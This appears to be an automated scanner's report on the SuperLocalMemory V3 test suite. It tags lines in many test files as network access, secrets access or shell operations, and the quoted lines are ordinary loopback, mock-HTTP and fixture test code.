- Executable scriptline 1
Executable file - Network accessline 38
headers = {"X-SLM-Daemon-Capability": descriptor.capability, "X-SLM-Target-Instance": descriptor.instance_id} return TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, - Network accessline 39
"X-SLM-Target-Instance": descriptor.instance_id} return TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, raise_server_exceptions=False, headers=headers) - Network accessline 40
return TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK,
tests/test_mcp/test_remote_media_tools.py
- Executable scriptline 1
Executable file - Network accessline 98
monkeypatch.setattr(daemon, "daemon_request", spy) with allowed(): call(srv, "remember_media", {"download_url": "https://files.example/a.png"}) - Network accessline 99
with allowed(): call(srv, "remember_media", {"download_url": "https://files.example/a.png"}) assert spy.calls[0][2]["origin"] == "remote" - Network accessline 100
call(srv, "remember_media", {"download_url": "https://files.example/a.png"}) - Network accessline 102
assert spy.calls[0][2]["download_url"] == "https://files.example/a.png" - Network accessline 118
@pytest.mark.parametrize("name,args", [ ("remember_media", {"download_url": "https://files.example/a.png"}), - Network accessline 119
("remember_media", {"download_url": "https://files.example/a.png"}),
tests/test_mcp/test_remote_more_reads_hide_media.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_remote_pins_hide_media.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_remote_tools_hide_media.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_retention_policy_effect.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_saved_tool_set.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_score_contract_surface_parity.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_session_binding.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_mcp/test_session_init_answer_check.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_session_init_fallback_remote.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_settle_session_outcomes.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_source_content_discipline.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_stateless_transport.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_stdin_guard.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_mcp/test_stdio_handshake.py
tests/test_mcp/test_stdio_live_registry.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_stdio_process_budget.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_streamable_http_network_regression.py
- Executable scriptline 1
Executable file - Network accessline 59
probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 72
await asyncio.sleep(0.02) assert server.started, "Uvicorn did not start the MCP regression server" yield f"http://127.0.0.1:{port}/mcp" - Network accessline 73
assert server.started, "Uvicorn did not start the MCP regression server" yield f"http://127.0.0.1:{port}/mcp" finally: - Network accessline 74
yield f"http://127.0.0.1:{port}/mcp"
tests/test_mcp/test_sweep_findings_4_2_3.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_the_embedder_proxy_uses_its_own_daemon.py
- Executable scriptline 1
Executable file - Network accessline 52
def do_GET(self) -> None: # noqa: N802 outer.requests.append(("GET", self.path, _lower(self.headers))) - Network accessline 53
outer.requests.append(("GET", self.path, _lower(self.headers))) - Network accessline 57
length = int(self.headers.get("Content-Length", 0)) body = json.loads(self.rfile.read(length) or b"{}") outer.requests.append(("POST", self.path, _lower(self.headers))) - Network accessline 58
body = json.loads(self.rfile.read(length) or b"{}") outer.requests.append(("POST", self.path, _lower(self.headers))) self._reply({"embeddings": [[0.25] * 4 for _ in body.get("texts", [])]}) - Network accessline 59
outer.requests.append(("POST", self.path, _lower(self.headers))) - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted]
tests/test_mcp/test_tools_kinds_refusal.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_tools_media.py
- Executable scriptline 1
Executable file - Network accessline 17
[Credential-related source omitted] - Network accessline 19
[Credential-related source omitted] - Possible obfuscationline 105
assert base64.b64decode(images[0].data) == THUMB - Network accessline 168
reason = "That file is not a picture this build can read." body = json.dumps({"status": "refused", "reason": reason, "detail": reason}).encode() http_err = urllib.error.HTTPError("http://x", 422, "Unprocessable", {}, io.BytesIO(body - Network accessline 169
body = json.dumps({"status": "refused", "reason": reason, "detail": reason}).encode() http_err = urllib.error.HTTPError("http://x", 422, "Unprocessable", {}, io.BytesIO(body)) monkeypatch.setattr(daemon, "daemon_request", Spy(exc=da - Network accessline 170
http_err = urllib.error.HTTPError("http://x", 422, "Unprocessable", {}, io.BytesIO(body))
tests/test_mcp/test_tools_mesh_peer_seam.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_tools_optimize.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Dangerous shell operationline 130
exec(compile(code, "<fixture>", "exec"), namespace) # original passes - Dangerous shell operationline 135
exec(compile(result["compressed"], "<fixture>", "exec"), {})
tests/test_mcp/test_tools_optimize_remote.py
- Executable scriptline 1
Executable file - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted]
tests/test_mcp/test_wp6_match_confidence.py
- Executable scriptline 1
Executable file
tests/test_mcp_server.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_media/__init__.py
- Executable scriptline 1
Executable file
tests/test_media/_erase_support.py
- Executable scriptline 1
Executable file
tests/test_media/_real_roles.py
- Executable scriptline 1
Executable file
tests/test_media/test_backup_includes_media_db.py
- Executable scriptline 1
Executable file
tests/test_media/test_backup_includes_originals.py
- Executable scriptline 1
Executable file
tests/test_media/test_backup_scrub.py
- Executable scriptline 1
Executable file
tests/test_media/test_backup_set_includes_originals.py
- Executable scriptline 1
Executable file
tests/test_media/test_dashboard_upload_route.py
- Executable scriptline 1
Executable file
tests/test_media/test_data_root_identity.py
- Executable scriptline 1
Executable file
tests/test_media/test_data_root_refusal.py
- Executable scriptline 1
Executable file
tests/test_media/test_erasure.py
- Executable scriptline 1
Executable file
tests/test_media/test_fable_fb.py
- Executable scriptline 1
Executable file
tests/test_media/test_files.py
- Executable scriptline 1
Executable file
tests/test_media/test_gates_real_roles.py
tests/test_media/test_gc.py
- Executable scriptline 1
Executable file
tests/test_media/test_ingest.py
- Executable scriptline 1
Executable file - Network accessline 76
if self.on_remember: self.on_remember(admission) self.requests.append(admission) - Network accessline 77
self.on_remember(admission) self.requests.append(admission) n = len(self.requests) - Network accessline 78
self.requests.append(admission) - Network accessline 387
def fake_fetch(link, **kw): seen.update(link=link, **kw) return media_fetch.FetchedMedia(png(), "https://img.example.com/a.png", "text/html") - Network accessline 389
return media_fetch.FetchedMedia(png(), "https://img.example.com/a.png", "text/html") - Network accessline 391
monkeypatch.setattr(media_fetch, "fetch_media", fake_fetch) r = save(env, inp=MediaInput(download_url="https://img.example.com/a.png?k=1")) - Network accessline 392
r = save(env, inp=MediaInput(download_url="https://img.example.com/a.png?k=1")) - Network accessline 394
monkeypatch.setattr(media_fetch, "fetch_media", lambda link, **kw: media_fetch.FetchedMedia(b"<html>nope</html>", "u", "image/png")) assert "not supported" in save(env, inp=MediaInput(download_url="https://img.ex - Network accessline 396
assert "not supported" in save(env, inp=MediaInput(download_url="https://img.example.com/b")).reason - Network accessline 405
monkeypatch.setattr(media_fetch, "fetch_media", boom) r = save(env, inp=MediaInput(download_url="https://10.0.0.1/a.png?k=SECRET")) - Network accessline 406
r = save(env, inp=MediaInput(download_url="https://10.0.0.1/a.png?k=SECRET")) assert r.status == "refused" and "private" in r.reason and "SECRET" not in r.reason assert env.runtime.requests == []
tests/test_media/test_media_list_route.py
- Executable scriptline 1
Executable file
tests/test_media/test_media_routes.py
- Executable scriptline 1
Executable file - Network accessline 110
def test_a_download_link_is_passed_on_as_a_local_caller(monkeypatch): c, calls = make(monkeypatch) r = c.post("/api/v3/media/remember", json={"download_url": "https://img.example.com/a.png", "content": "x"}) - Network accessline 111
c, calls = make(monkeypatch) r = c.post("/api/v3/media/remember", json={"download_url": "https://img.example.com/a.png", "content": "x"}) assert r.status_code == 200 - Network accessline 112
r = c.post("/api/v3/media/remember", json={"download_url": "https://img.example.com/a.png", "content": "x"}) - Network accessline 113
assert r.status_code == 200 inp, _ = calls[0] assert inp.download_url == "https://img.example.com/a.png" and inp.remote is False - Network accessline 114
inp, _ = calls[0] assert inp.download_url == "https://img.example.com/a.png" and inp.remote is False assert inp.base64 is None and inp.path is None - Network accessline 115
assert inp.download_url == "https://img.example.com/a.png" and inp.remote is False - Network accessline 119
def test_exactly_one_source_is_required(monkeypatch): c, calls = make(monkeypatch) url = "https://img.example.com/a.png" - Network accessline 120
c, calls = make(monkeypatch) url = "https://img.example.com/a.png" for body in ({"download_url": url, "base64": BODY["base64"]}, {"download_url": url, "path": "/tmp/a.png"}, - Network accessline 121
url = "https://img.example.com/a.png"
tests/test_media/test_media_routes_origin.py
- Executable scriptline 1
Executable file - Network accessline 15
def test_origin_remote_fetches_with_the_remote_rules(monkeypatch): c, calls = make(monkeypatch) body = {"download_url": "https://files.example/a.png", "origin": "remote"} - Network accessline 16
c, calls = make(monkeypatch) body = {"download_url": "https://files.example/a.png", "origin": "remote"} assert c.post("/api/v3/media/remember", json=body).status_code == 200 - Network accessline 17
body = {"download_url": "https://files.example/a.png", "origin": "remote"} - Network accessline 22
def test_a_local_body_keeps_the_local_rules(monkeypatch): c, calls = make(monkeypatch) c.post("/api/v3/media/remember", json={"download_url": "https://files.example/a.png"}) - Network accessline 23
c, calls = make(monkeypatch) c.post("/api/v3/media/remember", json={"download_url": "https://files.example/a.png"}) assert calls[0][0].remote is False - Network accessline 24
c.post("/api/v3/media/remember", json={"download_url": "https://files.example/a.png"}) - Network accessline 61
def spy(link, **kw): seen["remote"] = kw["remote"] return real(link, transport=httpx.MockTransport( - Network accessline 62
seen["remote"] = kw["remote"] return real(link, transport=httpx.MockTransport( lambda req: httpx.Response(200, content=b"\x89PNG", headers={"content-type": "image/png"})), - Network accessline 63
return real(link, transport=httpx.MockTransport( - Network accessline 64
lambda req: httpx.Response(200, content=b"\x89PNG", headers={"content-type": "image/png"})), - Network accessline 67
monkeypatch.setattr(media_fetch, "fetch_media", spy) link = "https://files.example/a.png" - Network accessline 68
link = "https://files.example/a.png" - Network accessline 88
monkeypatch.setattr(media_fetch, "fetch_media", spy) link = "https://files.example/a.png" - Network accessline 89
link = "https://files.example/a.png" - Network accessline 95
def test_the_images_route_passes_the_file_flag_through(monkeypatch): c, calls = make(monkeypatch) body = {"download_url": "https://files.example/a.png", "origin": "remote", "from_file": True} - Network accessline 96
c, calls = make(monkeypatch) body = {"download_url": "https://files.example/a.png", "origin": "remote", "from_file": True} assert c.post("/api/v3/media/remember", json=body).status_code == 200 - Network accessline 97
body = {"download_url": "https://files.example/a.png", "origin": "remote", "from_file": True} - Network accessline 98
assert c.post("/api/v3/media/remember", json=body).status_code == 200 assert calls[0][0].file_param is True and calls[0][0].remote is True c.post("/api/v3/media/remember", json={"download_url": "https://files.example/a.png", "origin - Network accessline 99
assert calls[0][0].file_param is True and calls[0][0].remote is True c.post("/api/v3/media/remember", json={"download_url": "https://files.example/a.png", "origin": "remote"}) assert calls[1][0].file_param is False - Network accessline 100
c.post("/api/v3/media/remember", json={"download_url": "https://files.example/a.png", "origin": "remote"})
tests/test_media/test_media_store.py
- Executable scriptline 1
Executable file
tests/test_media/test_media_store_no_extensions.py
- Executable scriptline 1
Executable file
tests/test_media/test_per_profile_files.py
- Executable scriptline 1
Executable file
tests/test_media/test_profile_delete_order.py
- Executable scriptline 1
Executable file
tests/test_media/test_profile_delete_pending.py
- Executable scriptline 1
Executable file
tests/test_media/test_profile_isolation_reads.py
- Executable scriptline 1
Executable file
tests/test_media/test_repair.py
- Executable scriptline 1
Executable file
tests/test_media/test_revet_remote.py
tests/test_media/test_save_scope.py
- Executable scriptline 1
Executable file
tests/test_media/test_shared_thumbnail.py
- Executable scriptline 1
Executable file
tests/test_media/test_upload_finish_route.py
- Executable scriptline 1
Executable file
tests/test_media/test_upload_links.py
tests/test_media/test_wp12a_picture_identity.py
- Executable scriptline 1
Executable file
tests/test_memory_core/__init__.py
- Executable scriptline 1
Executable file
tests/test_memory_core/test_edit_and_reserved.py
- Executable scriptline 1
Executable file
tests/test_memory_core/test_every_write_site_is_prepared.py
- Executable scriptline 1
Executable file
tests/test_memory_core/test_nested_trusted_metadata.py
- Executable scriptline 1
Executable file
tests/test_memory_core/test_prepare_helpers.py
- Executable scriptline 1
Executable file
tests/test_memory_core/test_round_four.py
- Executable scriptline 1
Executable file
tests/test_memory_core/test_save_path.py
- Executable scriptline 1
Executable file
tests/test_memory_core/test_submit.py
- Executable scriptline 1
Executable file
tests/test_memory_core/test_submit_settled.py
- Executable scriptline 1
Executable file
tests/test_memory_core/test_write_paths_redact.py
- Executable scriptline 1
Executable file
tests/test_mesh/__init__.py
- Executable scriptline 1
Executable file
tests/test_mesh/conftest.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_broker_web.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_envelope.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_local_peer_identity.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_mesh_busy_is_retryable.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_mesh_lock_stress.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_mesh_routes.py
- Executable scriptline 1
Executable file - Network accessline 41
def client(broker): app = _app(broker) with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as c: - Network accessline 42
app = _app(broker) with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as c: yield c - Network accessline 43
with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as c: - Network accessline 173
def test_owner_routes_refuse_non_loopback(broker) -> None: with TestClient(_app(broker), base_url="http://127.0.0.1:9999", client=("192.0.2.20", 5)) as c: - Network accessline 174
with TestClient(_app(broker), base_url="http://127.0.0.1:9999", client=("192.0.2.20", 5)) as c: - Network accessline 255
def test_owner_peers_refuse_non_loopback_and_non_loopback_host(broker) -> None: with TestClient(_app(broker), base_url="http://127.0.0.1:9999", client=("192.0.2.20", 5)) as c: - Network accessline 256
with TestClient(_app(broker), base_url="http://127.0.0.1:9999", client=("192.0.2.20", 5)) as c: - Network accessline 257
assert c.get(f"{OWNER}/peers").status_code == 403 with TestClient(_app(broker), base_url="http://example.com", client=("127.0.0.1", 5)) as c: assert c.get(f"{OWNER}/peers").status_code == 403 - Network accessline 258
with TestClient(_app(broker), base_url="http://example.com", client=("127.0.0.1", 5)) as c:
tests/test_mesh/test_mesh_store.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_mesh_store_fsync.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_mesh_store_gdpr.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_mesh_store_hardening.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_remote_mesh_e2e.py
- Executable scriptline 1
Executable file - Network accessline 83
body = {"jsonrpc": "2.0", "id": self._id, "method": "tools/call", "params": {"name": tool, "arguments": arguments or {}}} transport = httpx.ASGITransport(app=self.entry) - Network accessline 84
"params": {"name": tool, "arguments": arguments or {}}} transport = httpx.ASGITransport(app=self.entry) async with httpx.AsyncClient(transport=transport, base_url="http://127.0.0.1:8765") as client: - Network accessline 85
transport = httpx.ASGITransport(app=self.entry) - Network accessline 86
async with httpx.AsyncClient(transport=transport, base_url="http://127.0.0.1:8765") as client:
tests/test_mesh/test_remote_mesh_tools.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_remote_peer_inprocess.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_remote_peer_routes.py
- Executable scriptline 1
Executable file - Network accessline 31
) app.include_router(mesh_routes.router) with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as c: - Network accessline 32
app.include_router(mesh_routes.router) with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as c: yield c - Network accessline 33
with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as c:
tests/test_mesh/test_wait_inbox.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_web_inbox_delivery.py
- Executable scriptline 1
Executable file
tests/test_mesh/test_web_inbox_limits.py
tests/test_migration.py
- Executable scriptline 1
Executable file
tests/test_migrations/__init__.py
- Executable scriptline 1
Executable file
tests/test_migrations/_kind_store.py
- Executable scriptline 1
Executable file
tests/test_migrations/_repair_store.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_a_breaking_change_raises_the_floor_immediately.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_a_fact_is_mostly_its_own_arithmetic.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_a_planned_event_is_prospective_not_temporal.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_backward_compat_405.py
tests/test_migrations/test_every_migration_declares_its_downgrade.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m048_reads_wording_outside_the_write_lock.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m048_respects_confirmed_kinds.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m051_clears_noise_derived_positions.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m052_memory_kinds.py
tests/test_migrations/test_m052_upgrade_path.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m053_answer_check_history.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m054_saved_views.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m055_learning_attribution.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m057_incremental.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m057_roundtrip.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m061_fact_hub_baseline.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m062_hook_bookkeeping_is_flagged.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m063_blank_temporal_dates_are_null.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m064_orphan_index_rows_are_removed.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m065_fabricated_dates_are_removed.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_m066_wrongly_archived_memories_are_restored.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_repair_coverage.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_repair_ddl.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_repair_rebuild_roundtrip.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_repair_reporter_drift.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_runner_survives_a_python_error.py
- Executable scriptline 1
Executable file
tests/test_migrations/test_what_is_coming_up_holds_only_what_is_coming_up.py
- Executable scriptline 1
Executable file
tests/test_mode_switch_preservation.py
- Executable scriptline 1
Executable file - Access to secretsline 72
[Credential-related source omitted] - Network accessline 75
"dimension": 1024, "provider": "openai", "api_endpoint": "https://custom.example.com/v1", - Network accessline 76
[Credential-related source omitted] - Network accessline 77
"api_endpoint": "https://custom.example.com/v1", - Access to secretsline 78
[Credential-related source omitted] - Network accessline 94
assert result["embedding"]["dimension"] == 1024 assert result["embedding"]["provider"] == "openai" assert result["embedding"]["api_endpoint"] == "https://custom.example.com/v1" - Network accessline 96
assert result["embedding"]["api_endpoint"] == "https://custom.example.com/v1" - Network accessline 106
[Credential-related source omitted] - Network accessline 107
[Credential-related source omitted] - Network accessline 108
[Credential-related source omitted] - Access to secretsline 108
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Network accessline 137
[Credential-related source omitted] - Network accessline 138
[Credential-related source omitted] - Access to secretsline 138
[Credential-related source omitted] - Network accessline 139
"base_url": "http://127.0.0.1:11434", - Access to secretsline 145
[Credential-related source omitted] - Network accessline 158
assert result["llm"]["provider"] == "ollama" assert result["llm"]["model"] == "llama3.2" assert result["llm"]["base_url"] == "http://127.0.0.1:11434" - Network accessline 160
assert result["llm"]["base_url"] == "http://127.0.0.1:11434" - Access to secretsline 167
[Credential-related source omitted] - Access to secretsline 170
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Access to secretsline 226
[Credential-related source omitted] - Network accessline 229
"dimension": 1024, "provider": "openai", "api_endpoint": "https://custom.example.com/v1", - Network accessline 230
[Credential-related source omitted] - Network accessline 231
"api_endpoint": "https://custom.example.com/v1", - Access to secretsline 232
[Credential-related source omitted] - Network accessline 246
assert result["embedding"]["dimension"] == 1024 assert result["embedding"]["provider"] == "openai" assert result["embedding"]["api_endpoint"] == "https://custom.example.com/v1" - Network accessline 248
assert result["embedding"]["api_endpoint"] == "https://custom.example.com/v1" - Access to secretsline 259
[Credential-related source omitted] - Access to secretsline 262
[Credential-related source omitted]
tests/test_modes/test_changing_the_embedding_model_cannot_wreck_a_store.py
- Executable scriptline 1
Executable file - Network accessline 32
OLLAMA = "http://localhost:11434" - Network accessline 35
def _ollama_running() -> bool: try: return httpx.get(f"{OLLAMA}/api/tags", timeout=1.0).status_code == 200 - Network accessline 36
try: return httpx.get(f"{OLLAMA}/api/tags", timeout=1.0).status_code == 200 except Exception: - Network accessline 37
return httpx.get(f"{OLLAMA}/api/tags", timeout=1.0).status_code == 200 - Network accessline 166
_raises(monkeypatch, httpx.ConnectError("refused")) - Network accessline 202
def test_a_stopped_server_says_how_to_start_it(monkeypatch) -> None: _raises(monkeypatch, httpx.ConnectError("refused")) - Network accessline 203
_raises(monkeypatch, httpx.ConnectError("refused")) - Network accessline 209
def test_a_slow_server_is_not_reported_as_a_missing_model(monkeypatch) -> None: _raises(monkeypatch, httpx.ReadTimeout("slow")) - Network accessline 210
_raises(monkeypatch, httpx.ReadTimeout("slow"))
tests/test_modes/test_mode_a_never_fails.py
- Executable scriptline 1
Executable file
tests/test_modes/test_mode_a_says_why_it_cannot_write_a_summary.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 178
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Access to secretsline 184
[Credential-related source omitted] - Access to secretsline 187
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted]
tests/test_modes/test_no_mode_puts_a_model_on_the_read_path.py
- Executable scriptline 1
Executable file
tests/test_no_dead_modules.py
- Executable scriptline 1
Executable file
tests/test_ollama_reachability.py
- Executable scriptline 1
Executable file - Network accessline 35
def fake_get(url, timeout=None): calls.append(url) return httpx.Response(200, request=httpx.Request("GET", url)) - Network accessline 37
return httpx.Response(200, request=httpx.Request("GET", url)) - Network accessline 39
monkeypatch.setattr(httpx, "get", fake_get) assert r.ollama_reachable("http://127.0.0.1:11434") is True - Network accessline 40
assert r.ollama_reachable("http://127.0.0.1:11434") is True - Network accessline 41
assert calls == ["http://127.0.0.1:11434/api/tags"] - Network accessline 45
monkeypatch.setattr( httpx, "get", lambda url, timeout=None: httpx.Response(500, request=httpx.Request("GET", url)), - Network accessline 46
httpx, "get", lambda url, timeout=None: httpx.Response(500, request=httpx.Request("GET", url)), ) - Network accessline 47
lambda url, timeout=None: httpx.Response(500, request=httpx.Request("GET", url)), - Network accessline 49
assert r.ollama_reachable("http://127.0.0.1:11434") is False - Network accessline 52
def test_reports_unreachable_when_nothing_is_listening(monkeypatch): def fake_get(url, timeout=None): raise httpx.ConnectError("connection refused") - Network accessline 54
raise httpx.ConnectError("connection refused") - Network accessline 56
monkeypatch.setattr(httpx, "get", fake_get) assert r.ollama_reachable("http://127.0.0.1:11434") is False - Network accessline 57
assert r.ollama_reachable("http://127.0.0.1:11434") is False - Network accessline 63
def fake_get(url, timeout=None): raise httpx.TimeoutException("timed out") - Network accessline 64
raise httpx.TimeoutException("timed out") - Network accessline 66
monkeypatch.setattr(httpx, "get", fake_get) assert r.ollama_reachable("http://127.0.0.1:11434", timeout=0.05) is False - Network accessline 67
assert r.ollama_reachable("http://127.0.0.1:11434", timeout=0.05) is False - Network accessline 73
def fake_get(url, timeout=None): calls["n"] += 1 return httpx.Response(200, request=httpx.Request("GET", url)) - Network accessline 75
return httpx.Response(200, request=httpx.Request("GET", url)) - Network accessline 77
monkeypatch.setattr(httpx, "get", fake_get) assert r.ollama_reachable("http://127.0.0.1:11434", cache_ttl=60.0) is True - Network accessline 78
assert r.ollama_reachable("http://127.0.0.1:11434", cache_ttl=60.0) is True - Network accessline 79
assert r.ollama_reachable("http://127.0.0.1:11434", cache_ttl=60.0) is True - Network accessline 86
def fake_get(url, timeout=None): calls["n"] += 1 return httpx.Response(200, request=httpx.Request("GET", url)) - Network accessline 88
return httpx.Response(200, request=httpx.Request("GET", url)) - Network accessline 90
monkeypatch.setattr(httpx, "get", fake_get) assert r.ollama_reachable("http://127.0.0.1:11434", cache_ttl=0.05) is True - Network accessline 91
assert r.ollama_reachable("http://127.0.0.1:11434", cache_ttl=0.05) is True - Network accessline 92
time.sleep(0.1) assert r.ollama_reachable("http://127.0.0.1:11434", cache_ttl=0.05) is True assert calls["n"] == 2 - Network accessline 93
assert r.ollama_reachable("http://127.0.0.1:11434", cache_ttl=0.05) is True - Network accessline 100
def fake_get(url, timeout=None): seen.append(url) return httpx.Response(200, request=httpx.Request("GET", url)) - Network accessline 102
return httpx.Response(200, request=httpx.Request("GET", url)) - Network accessline 104
monkeypatch.setattr(httpx, "get", fake_get) r.ollama_reachable("http://127.0.0.1:11434/") - Network accessline 105
r.ollama_reachable("http://127.0.0.1:11434/") - Network accessline 106
assert seen == ["http://127.0.0.1:11434/api/tags"] - Network accessline 109
def test_two_different_hosts_are_cached_independently(monkeypatch): answers = {"http://a/api/tags": 200, "http://b/api/tags": 500} - Network accessline 110
answers = {"http://a/api/tags": 200, "http://b/api/tags": 500} - Network accessline 112
def fake_get(url, timeout=None): return httpx.Response(answers[url], request=httpx.Request("GET", url)) - Network accessline 113
return httpx.Response(answers[url], request=httpx.Request("GET", url)) - Network accessline 115
monkeypatch.setattr(httpx, "get", fake_get) assert r.ollama_reachable("http://a") is True - Network accessline 116
assert r.ollama_reachable("http://a") is True - Network accessline 117
assert r.ollama_reachable("http://b") is False
tests/test_operation_policy_registry.py
- Executable scriptline 1
Executable file
tests/test_optimize/__init__.py
- Executable scriptline 1
Executable file
tests/test_optimize/test_centroid_rebuild.py
- Executable scriptline 1
Executable file
tests/test_optimize/test_dynamic_embedding_dimension.py
- Executable scriptline 1
Executable file
tests/test_optimize/test_pr253_embedding_spaces.py
- Executable scriptline 1
Executable file
tests/test_optimize/test_proxy_typeerror_fallback.py
- Executable scriptline 1
Executable file
tests/test_optimize/test_semantic_cache_embedder_follows_the_provider.py
- Executable scriptline 1
Executable file
tests/test_optimize/test_tenant_count_caps.py
- Executable scriptline 1
Executable file
tests/test_packaging/__init__.py
- Executable scriptline 1
Executable file
tests/test_packaging/test_every_editor_can_see_the_plugin.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_packaging/test_no_plugin_hijacks_your_install.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 191
[Credential-related source omitted]
tests/test_packaging/test_npm_ships_every_plugin_folder.py
- Executable scriptline 1
Executable file
tests/test_packaging/test_shipped_mcp_configs_respect_host_tool_limits.py
- Executable scriptline 1
Executable file
tests/test_packaging/test_what_we_ship_describes_what_we_built.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_parameterization/__init__.py
